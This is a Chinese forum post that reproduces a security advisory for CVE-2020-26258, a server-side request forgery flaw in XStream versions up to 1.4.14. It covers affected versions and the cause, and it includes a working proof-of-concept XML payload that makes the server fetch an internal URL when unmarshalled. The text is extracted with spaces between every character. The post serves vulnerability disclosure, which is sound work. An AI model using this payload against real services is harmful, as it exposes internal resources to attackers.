搜索

[20406] 2020-12-15_CVE-2020-26258-POC-SSRF攻击

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2020-12-15_CVE-2020-26258-POC-SSRF攻击 C V E - 2 0 2 0 - 2 6 2 5 8 - P O C - S S R F 攻 击 安 全 告 知   K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 1 2 - 1 5                                                                                                         C V E - 2 0 2 0 - 2 6 2 5 8 ： 可 以 使 用 X S t r e a m 解 组 激 活 服 务 器 端 伪 造 请 求 ， 以 从 引 用 内 部 网 或 本 地 主 机 中 资 源 的 任 意 U R L 访 问 数 据 流 。 受 影 响 的 版 本 ：                                                 如 果 使 用 现 成 的 版 本 ， 则 直 到 1 . 4 . 1 4 （ 包 括 1 . 4 . 1 4 ） 的 所 有 版 本 都 将 在 J a v a   1 5 以 下 的 J a v a 环 境 中 运 行 。 没 有 用 户 受 到 影 响 ， 他 们 遵 循 建 议 使 用 白 名 单 设 置   X S t r e a m 的 安 全 框 架 。 漏 洞 描 述 ：                                         在 解 组 时 处 理 的 流 包 含 类 型 信 息 以 重 新 创 建 以 前 写 入 的 对 象 。 因 此 ， X S t r e a m 基 于 这 些 类 型 信 息 创 建 新 的 实 例 。 攻 击 者 可 以 操 纵 处 理 后 的 输 入 流 并 替 换 或 注 入 对 象 ， 从 而 导 致 服 务 器 端 进 行 伪 造 请 求 。 P O C ： 该 漏 洞 可 能 允 许 远 程 攻 击 者 仅 通 过 处 理 已 处 理 的 输 入 流 来 从 不 公 开 可 用 的 内 部 资 源 中 请 求 数 据 。 < m a p >     < e n t r y >         < j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g >             < f l a g s > 0 < / f l a g s >             < v a l u e   c l a s s = ' c o m . s u n . x m l . i n t e r n a l . b i n d . v 2 . r u n t i m e . u n m a r s h a l l e r . B a s e 6 4 D a t a ' >                 < d a t a H a n d l e r >                     < d a t a S o u r c e   c l a s s = ' j a v a x . a c t i v a t i o n . U R L D a t a S o u r c e ' >                         < u r l > h t t p : / / l o c a l h o s t : 8 0 8 0 / i n t e r n a l / : < / u r l >                     < / d a t a S o u r c e >                     < t r a n s f e r F l a v o r s / >                 < / d a t a H a n d l e r >                 < d a t a L e n > 0 < / d a t a L e n >             < / v a l u e >         < / j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g >         < s t r i n g > t e s t < / s t r i n g >     < / e n t r y > < / m a p > X S t r e a m   x s t r e a m   =   n e w   X S t r e a m ( ) ; x s t r e a m . f r o m X M L ( x m l ) ;
创 建 一 个 简 单 的 H a s h M a p 并 使 用 X S t r e a m 将 其 封 送 为 X M L 。 用 以 下 代 码 片 段 替 换 X M L ， 然 后 用 X S t r e a m 重 新 解 组 它 。 一 旦 解 组 X M L ， 就 会 执 行 有 效 负 载 并 收 集 来 自 U R L 位 置 的 数 据 。 注 意 ， 此 示 例 使 用 X M L ， 但 是 可 以 针 对 任 何 受 支 持 的 格 式 （ 例 如 J S O N ） 执 行 攻 击 。 请 参 考 ： h t t p s : / / x - s t r e a m . g i t h u b . i o / C V E - 2 0 2 0 - 2 6 2 5 8 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理